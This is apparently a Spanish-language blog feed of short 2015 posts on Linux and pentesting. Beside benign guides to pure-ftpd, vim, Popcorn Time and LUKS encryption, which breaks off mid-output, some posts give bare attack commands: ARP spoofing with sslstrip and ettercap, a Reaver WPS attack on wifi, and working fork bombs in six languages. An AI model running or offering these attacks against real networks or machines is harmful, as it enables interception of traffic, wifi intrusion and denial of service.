&lt;p>&lt;code>echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;/code>&lt;/p>
&lt;p>&lt;code>iptables -t nat -A PREROUTING -i eth0 -p tcp --destination-port 80 -j REDIRECT --to-port 8080&lt;/code>&lt;/p>
&lt;p>######opcional
&lt;code>arpspoof -i eth0 -t 192.168.1.2 192.168.1.1&lt;/code>&lt;/p>
&lt;p>######otra pestaña
&lt;code>python sslstrip.py -l 1000&lt;/code>&lt;/p>
&lt;p>######otra pestaña
&lt;code>ettercap -Tq -i eth0&lt;/code> o &lt;code>ettercap -T -q -i eth0 -M arp // //&lt;/code>&lt;/p></description></item><item><title>Reaver</title><link>https://www.procamora.com/p/reaver/</link><pubDate>Thu, 03 Sep 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/reaver/</guid><description>&lt;img src="https://www.procamora.com/covers/pentesting.png" alt="Featured image of post Reaver" />&lt;p>&lt;code>airmon-ng start wlan0&lt;/code>&lt;/p>
&lt;p>&lt;code>wash -i mon0&lt;/code>&lt;/p>
&lt;p>&lt;code>reaver -i mon0 -b 30:46:9A:7C:C4:CA -vv -c 8&lt;/code>&lt;/p>
&lt;p>&lt;code>iwconfig&lt;/code>&lt;/p>
&lt;p>&lt;code>airmon-ng start wlan0&lt;/code>&lt;/p>
&lt;p>&lt;code>airodump-ng mon0&lt;/code>&lt;/p>
&lt;p>&lt;code>reaver -i mon0 -vv -b (BSSID del target del AP ) -S -L&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">-vv: para indicarle que nos muestre como va haciendo su trabajo.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-i: el interface.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-b: BSSID del target del AP.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-S: para que utilice claves pequeñas DH para mejorar la velocidad.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-L: para ignorar el estado locked que nos envía el AP.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>ssltrip</title><link>https://www.procamora.com/p/ssltrip/</link><pubDate>Wed, 02 Sep 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/ssltrip/</guid><description>&lt;img src="https://www.procamora.com/covers/pentesting.png" alt="Featured image of post ssltrip" />&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">arpspoof -i eth0 -t &amp;#34;ip objetivo&amp;#34; &amp;#34;ip puerta enlace&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">python ssltrip.py
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">python ssltrip.py -v log
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>Todo esto hay que hacerlo como root&lt;/p>
&lt;/blockquote></description></item><item><title>Tipos de bombas fork</title><link>https://www.procamora.com/p/bomba_fork/</link><pubDate>Tue, 01 Sep 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/bomba_fork/</guid><description>&lt;img src="https://www.procamora.com/covers/pentesting.png" alt="Featured image of post Tipos de bombas fork" />&lt;h2 id="ejemplo-de-una-bomba-fork">Ejemplo de una bomba fork&lt;/h2>
&lt;h4 id="código-fuente-de-una-bomba-fork-programada-en-batch-funcional-en-cualquier-versión-de-microsoft-windows">Código fuente de una bomba fork programada en Batch funcional en cualquier versión de Microsoft Windows:&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">%0|%0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>O bien, una reacción más rápida:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">:s
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">start &amp;#34;&amp;#34; %0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">goto :s
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="código-fuente-de-una-bomba-fork-programada-en-unix-c-o-c">Código fuente de una bomba fork programada en UNIX C o C++:&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;unistd.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>&lt;span class="kt">void&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fork&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="bomba-fork-para-bash-de-linux">Bomba fork para bash de linux&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">:&lt;span class="o">(){&lt;/span> :&lt;span class="p">|&lt;/span>:&lt;span class="p">&amp;amp;&lt;/span> &lt;span class="o">}&lt;/span>&lt;span class="p">;&lt;/span>:
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="perl">Perl:&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-perl" data-lang="perl">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">fork&lt;/span> &lt;span class="k">while&lt;/span> &lt;span class="nb">fork&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="python">Python:&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fork&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="ruby">Ruby:&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-ruby" data-lang="ruby">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">forkbomb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kp">loop&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">fork&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">forkbomb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">end&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">forkbomb&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Configurar pure-ftpd</title><link>https://www.procamora.com/p/pure_ftpd/</link><pubDate>Mon, 03 Aug 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/pure_ftpd/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Configurar pure-ftpd" />&lt;h6 id="0-instalar-los-paquetes-necesarios">0. Instalar los paquetes necesarios&lt;/h6>
&lt;p>&lt;code>apt-get install pure-ftpd pureadmin&lt;/code>&lt;/p>
&lt;h6 id="1-creación-de-un-usuario-y-grupo-para-el-ftp">1. Creación de un usuario y grupo para el FTP&lt;/h6>
&lt;p>&lt;code>sudo groupadd ftpgroup&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo useradd -g ftpgroup -d /dev/null -s /etc ftpuser&lt;/code>&lt;/p>
&lt;h6 id="2-creación-de-un-directorio-para-el-ftp">2. Creación de un directorio para el FTP&lt;/h6>
&lt;p>&lt;code>sudo mkdir /home/ftp&lt;/code>&lt;/p>
&lt;h6 id="3-creación-de-un-usuario-ftp">3. Creación de un usuario FTP&lt;/h6>
&lt;p>&lt;code>sudo pure-pw useradd usuario -u ftpuser -d /home/ftp&lt;/code>&lt;/p>
&lt;h6 id="4-creación-de-base-de-datos-del-usuario">4. Creación de base de datos del usuario&lt;/h6>
&lt;p>&lt;code>sudo pure-pw mkdb&lt;/code>&lt;/p>
&lt;h6 id="5-hacemos-un-link-al-archivo-puredb">5. Hacemos un link al archivo PureDB&lt;/h6>
&lt;p>&lt;code>sudo ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB&lt;/code>&lt;/p>
&lt;h6 id="6-denegamos-acceso-a-anonymous">6. Denegamos acceso a anonymous&lt;/h6>
&lt;p>&lt;code>sudo echo yes &amp;gt; /etc/pure-ftpd/conf/NoAnonymous&lt;/code>&lt;/p>
&lt;h6 id="7-denegamos-autenticación-pam">7. Denegamos autenticación PAM&lt;/h6>
&lt;p>&lt;code>sudo echo no &amp;gt; /etc/pure-ftpd/conf/PAMAuthentication&lt;/code>&lt;/p>
&lt;p>#####Algunas configuraciones adicionales serían:&lt;/p>
&lt;h6 id="8-limitar-el-número-de-usuarios">8. Limitar el número de usuarios&lt;/h6>
&lt;p>&lt;code>sudo echo 10 &amp;gt; /etc/pure-ftpd/conf/MaxClientsNumber&lt;/code>&lt;/p>
&lt;h6 id="9-no-permitir-mostrar-los-ficheros-ocultos">9. No permitir mostrar los ficheros ocultos&lt;/h6>
&lt;p>&lt;code>sudo echo no &amp;gt; /etc/pure-ftpd/conf/DisplayDotFiles&lt;/code>&lt;/p>
&lt;h6 id="10-denegar-lectura-y-escritura-de-ficheros-ocultos">10. Denegar lectura y escritura de ficheros ocultos&lt;/h6>
&lt;p>&lt;code>sudo echo yes &amp;gt; /etc/pure-ftpd/conf/ProhibitDotFilesRead&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo echo yes &amp;gt; /etc/pure-ftpd/conf/ProhibitDotFilesWrite&lt;/code>&lt;/p>
&lt;h6 id="11-prohibimos-ejecución-de-chmod">11. Prohibimos ejecución de chmod&lt;/h6>
&lt;p>&lt;code>sudo echo yes &amp;gt; /etc/pure-ftpd/conf/NoChmod&lt;/code>&lt;/p>
&lt;h6 id="12-reiniciamos-el-servicio">12. Reiniciamos el servicio&lt;/h6>
&lt;p>&lt;code>sudo invoke-rc.d pure-ftpd restart&lt;/code>&lt;/p>
&lt;p>######11. Verificamos que la configuración concuerde con la que hicimos
&lt;code>sudo pure-pw show usuario&lt;/code>&lt;/p>
&lt;p>Y ya podemos disfrutar de nuestro FTP!&lt;/p>
&lt;p>El monitoreo puede ser por consola a gráficamente&lt;/p>
&lt;p>&lt;code>sudo pure-ftpwho&lt;/code>
&lt;code>sudo pureadmin&lt;/code>&lt;/p></description></item><item><title>Instalar popcorn-time</title><link>https://www.procamora.com/p/popcorn_time/</link><pubDate>Sun, 02 Aug 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/popcorn_time/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Instalar popcorn-time" />&lt;h2 id="popcorn-time-es-un-programa-para-streaming-de-películas-y-series">popcorn time es un programa para streaming de películas y series&lt;/h2>
&lt;h5 id="primero-añadimos-lso-repositorios-a-nuestro-sistema">Primero añadimos lso repositorios a nuestro sistema&lt;/h5>
&lt;p>&lt;code>sudo echo &amp;quot;deb http://ppa.launchpad.net/webupd8team/popcorntime/ubuntu trusty main&amp;quot; | tee /etc/apt/sources.list.d/webupd8team-popcorntime.list&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo echo &amp;quot;deb-src http://ppa.launchpad.net/webupd8team/popcorntime/ubuntu trusty main&amp;quot; | tee -a /etc/apt/sources.list.d/webupd8team-popcorntime.list&lt;/code>&lt;/p>
&lt;h5 id="añadimos-la-clave-publica-para-certificar-que-es-un-paquete-valido">Añadimos la clave publica para certificar que es un paquete valido&lt;/h5>
&lt;p>&lt;code>sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys EEA14886&lt;/code>&lt;/p>
&lt;h5 id="actualizamos-nuestros-repositorios">Actualizamos nuestros repositorios&lt;/h5>
&lt;p>&lt;code>sudo apt-get update&lt;/code>&lt;/p>
&lt;h5 id="instalar-popcorn-time">Instalar popcorn time&lt;/h5>
&lt;p>&lt;code>sudo apt-get install popcorn-time&lt;/code>&lt;/p>
&lt;h5 id="ya-podemos-ejecutarlo-se-pondrá-en-la-lista-de-internet-en-gnome">Ya podemos ejecutarlo, se pondrá en la lista de &lt;em>internet&lt;/em> en gnome&lt;/h5>
&lt;p>&lt;code>popcorn-time&lt;/code>&lt;/p></description></item><item><title>Tips vim</title><link>https://www.procamora.com/p/tips_vim/</link><pubDate>Sat, 01 Aug 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/tips_vim/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Tips vim" />&lt;h2 id="modo-edición">Modo edición&lt;/h2>
&lt;h6 id="habilitar-la-edición">habilitar la edición&lt;/h6>
&lt;p>&lt;code>i&lt;/code> o &lt;code>o&lt;/code>&lt;/p>
&lt;h2 id="operaciones-básicas">Operaciones básicas&lt;/h2>
&lt;h6 id="salir">Salir&lt;/h6>
&lt;p>&lt;code>:q&lt;/code>&lt;/p>
&lt;h6 id="salir-sin-confirmación">Salir sin confirmación&lt;/h6>
&lt;p>&lt;code>:q!&lt;/code>&lt;/p>
&lt;h6 id="salir-guardando-sin-confirmación">Salir guardando sin confirmación&lt;/h6>
&lt;p>&lt;code>:wq!&lt;/code>&lt;/p>
&lt;h6 id="guardar-en-un-fichero-x">Guardar en un fichero x&lt;/h6>
&lt;p>&lt;code>:w fichero.txt&lt;/code>&lt;/p>
&lt;h6 id="cierra-el-actual-y-abre-x">Cierra el actual y abre x&lt;/h6>
&lt;p>:e fichero.txt`&lt;/p>
&lt;h2 id="copiar-cortar-pegar">Copiar, cortar, pegar&lt;/h2>
&lt;h6 id="modo-visual">Modo visual&lt;/h6>
&lt;p>&lt;code>v&lt;/code>&lt;/p>
&lt;h6 id="cortar">Cortar&lt;/h6>
&lt;p>&lt;code>c&lt;/code>&lt;/p>
&lt;h6 id="copiar">Copiar&lt;/h6>
&lt;p>&lt;code>y&lt;/code>&lt;/p>
&lt;h6 id="pegar">Pegar&lt;/h6>
&lt;p>&lt;code>p&lt;/code>&lt;/p>
&lt;h2 id="operadores-de-texto">Operadores de texto&lt;/h2>
&lt;h6 id="suprimir-linea">suprimir linea&lt;/h6>
&lt;p>&lt;code>dd&lt;/code>&lt;/p>
&lt;h6 id="deshacer-ultimo-cambio">deshacer ultimo cambio&lt;/h6>
&lt;p>&lt;code>u&lt;/code>&lt;/p>
&lt;h6 id="rehacer-ultimo-cambio">rehacer ultimo cambio&lt;/h6>
&lt;p>&lt;code>CTRL+R&lt;/code>&lt;/p>
&lt;h6 id="convertir-a-minus-la-linea">convertir a minus la linea&lt;/h6>
&lt;p>&lt;code>guu&lt;/code>&lt;/p>
&lt;h6 id="convertir-a-mayus-la-linea">convertir a mayus la linea&lt;/h6>
&lt;p>&lt;code>gUU&lt;/code>&lt;/p>
&lt;h6 id="posicionarse-en-linea-num">posicionarse en linea &amp;rsquo;num'&lt;/h6>
&lt;p>&lt;code>:num&lt;/code>&lt;/p>
&lt;h6 id="mostrar-el-número-de-líneas">Mostrar el número de líneas&lt;/h6>
&lt;p>&lt;code>:set number&lt;/code>&lt;/p>
&lt;h6 id="posicionarse-al-principio">posicionarse al principio&lt;/h6>
&lt;p>&lt;code>gg&lt;/code>&lt;/p>
&lt;h6 id="posicionarse-al-final">posicionarse al final&lt;/h6>
&lt;p>&lt;code>G&lt;/code>&lt;/p>
&lt;h6 id="código-ascii-hex-y-octal">Código ASCII, hex y octal&lt;/h6>
&lt;p>&lt;code>ga&lt;/code>&lt;/p>
&lt;h2 id="búsqueda-y-sustitución">Búsqueda y sustitución&lt;/h2>
&lt;h6 id="buscar">buscar&lt;/h6>
&lt;p>&lt;code>/palabra&lt;/code>&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;n&amp;rdquo; o &amp;ldquo;N&amp;rdquo; para ir adelante o atras&lt;/p>
&lt;/blockquote>
&lt;h6 id="remplazar">remplazar&lt;/h6>
&lt;p>&lt;code>:%s/texto1/texto2/g&lt;/code>&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;g&amp;rdquo; selecciona todas las coincidencias&lt;/p>
&lt;/blockquote>
&lt;h2 id="comandos-internos">Comandos internos&lt;/h2>
&lt;h6 id="ejecutar-comando-interno">Ejecutar comando interno&lt;/h6>
&lt;p>&lt;code>:!ls&lt;/code>&lt;/p>
&lt;h6 id="pausa-en-la-edicion">Pausa en la edicion&lt;/h6>
&lt;p>&lt;code>:shell&lt;/code> despues &lt;code>exit&lt;/code>&lt;/p>
&lt;h6 id="compilar">Compilar&lt;/h6>
&lt;p>&lt;code>:make&lt;/code> &lt;code>:cc&lt;/code>&lt;/p>
&lt;h2 id="características-avanzadas">Características avanzadas&lt;/h2>
&lt;h6 id="dividir-pantalla-verticalmente">Dividir pantalla verticalmente&lt;/h6>
&lt;p>&lt;code>:split fichero.txt&lt;/code>&lt;/p>
&lt;h6 id="dividir-pantalla-horizontalmente">Dividir pantalla horizontalmente&lt;/h6>
&lt;p>&lt;code>:vsplit fichero.txt&lt;/code>&lt;/p>
&lt;h6 id="cambiar-entre-pantallas">Cambiar entre pantallas&lt;/h6>
&lt;p>&lt;code>CTRL+W + flecha cursor&lt;/code>&lt;/p>
&lt;h6 id="crear-pestañas">Crear pestañas&lt;/h6>
&lt;p>&lt;code>:tabnew fichero.txt&lt;/code>&lt;/p>
&lt;h6 id="moverse-entre-pestañas">Moverse entre pestañas&lt;/h6>
&lt;p>&lt;code>:tabn&lt;/code> o &lt;code>:tabnext&lt;/code> o &lt;code>gt&lt;/code>&lt;/p>
&lt;h6 id="sistema-autocompletado">Sistema autocompletado&lt;/h6>
&lt;p>&lt;code>caracter inicial + CTRL+N&lt;/code>&lt;/p>
&lt;h6 id="elimina-lineas-en-blanco">Elimina lineas en blanco&lt;/h6>
&lt;p>&lt;code>:g/^\s*$/d&lt;/code>&lt;/p>
&lt;h6 id="detecta-llave-mal-cerrada">Detecta llave mal cerrada&lt;/h6>
&lt;p>&lt;code>{}&lt;/code>&lt;/p></description></item><item><title/><link>https://www.procamora.com/p/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post " />&lt;p>Title: Cifrar disco duro con luks
Date: 2015-11-12 14:34
Modified: 2015-11-12 14:34
Category: Linux
Tags: linux, consola, luks
Slug: EncryptLuks
Authors: procamora
Summary: LUKS es un estándar para el encriptado de discos en Linux. A diferencia de otras soluciones, LUKS almacena la configuración necesaria en las cabecera de las particiones.&lt;/p>
&lt;h1 id="introducción">Introducción&lt;/h1>
&lt;p>LUKS es un estándar para el encriptado de discos en Linux. A diferencia de otras soluciones, LUKS almacena la configuración necesaria en las cabecera de las particiones, lo que nos permite llevarnos los discos a otro sistema fácilmente.
Voy a detallar brevemente como preparar un disco encriptado con LUKS, utilizando Debian 6.&lt;/p>
&lt;ol>
&lt;li>Instalar cryptsetup-luks&lt;/li>
&lt;/ol>
&lt;p>&lt;code>sudo apt-get install cryptsetup&lt;/code>&lt;/p>
&lt;p>Comprobar que nuestro kernel tiene cargado el módulo dm-crypt:&lt;/p>
&lt;p>&lt;code>sudo lsmod | grep dm_crypt&lt;/code>&lt;/p>
&lt;p>Si no es así lo tendremos que cargar con modprobe. &lt;code>modprobe dm-crypt&lt;/code>&lt;/p>
&lt;ol start="2">
&lt;li>Preparar disco
En mi caso voy a utilizar un disco duro externo (sde), podemos ver que actualmente tiene una única partición:&lt;/li>
&lt;/ol>
&lt;p>&lt;code>sudo fdisk -l /dev/sde&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Disco /dev/sde: 1500.3 GB, 1500301910016 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">255 heads, 63 sectors/track, 182401 cylinders
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Units = cilindros of 16065 * 512 = 8225280 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Sector size (logical/physical): 512 bytes / 512 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">I/O size (minimum/optimal): 512 bytes / 512 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Disk identifier: 0x000abcce
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Disposit. Inicio Comienzo Fin Bloques Id Sistema
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/dev/sde1 1 182401 1465136001 83 Linux
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una buena práctica antes de encriptar un disco, sobre todo si este no es nuevo, es comprobar que funciona perfectamente y no tiene bloques erróneos. Para ello podemos usar la utilidad badblocks:&lt;/p>
&lt;p>&lt;code>sudo badblocks -s -w /dev/sde1 -b 4096&lt;/code>&lt;/p>
&lt;p>Tener en cuenta que esta operación tarda varias horas.&lt;/p>
&lt;ol start="3">
&lt;li>Encriptar el filesystem&lt;/li>
&lt;/ol>
&lt;p>&lt;code>sudo cryptsetup luksFormat /dev/sde1&lt;/code>&lt;/p>
&lt;blockquote>
&lt;p>Nota: se ha de indicar YES en mayusculas.&lt;/p>
&lt;/blockquote>
&lt;p>Podemos comprobar la cabecera luck con:&lt;/p>
&lt;p>&lt;code>sudo cryptsetup -v luksDump /dev/sde1&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="n">LUKS&lt;/span> &lt;span class="n">header&lt;/span> &lt;span class="n">information&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">dev&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sde1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Version&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Cipher&lt;/span> &lt;span class="n">name&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">aes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Cipher&lt;/span> &lt;span class="n">mode&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">cbc&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">essiv&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">sha256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Hash&lt;/span> &lt;span class="n">spec&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">sha1&lt;/span>
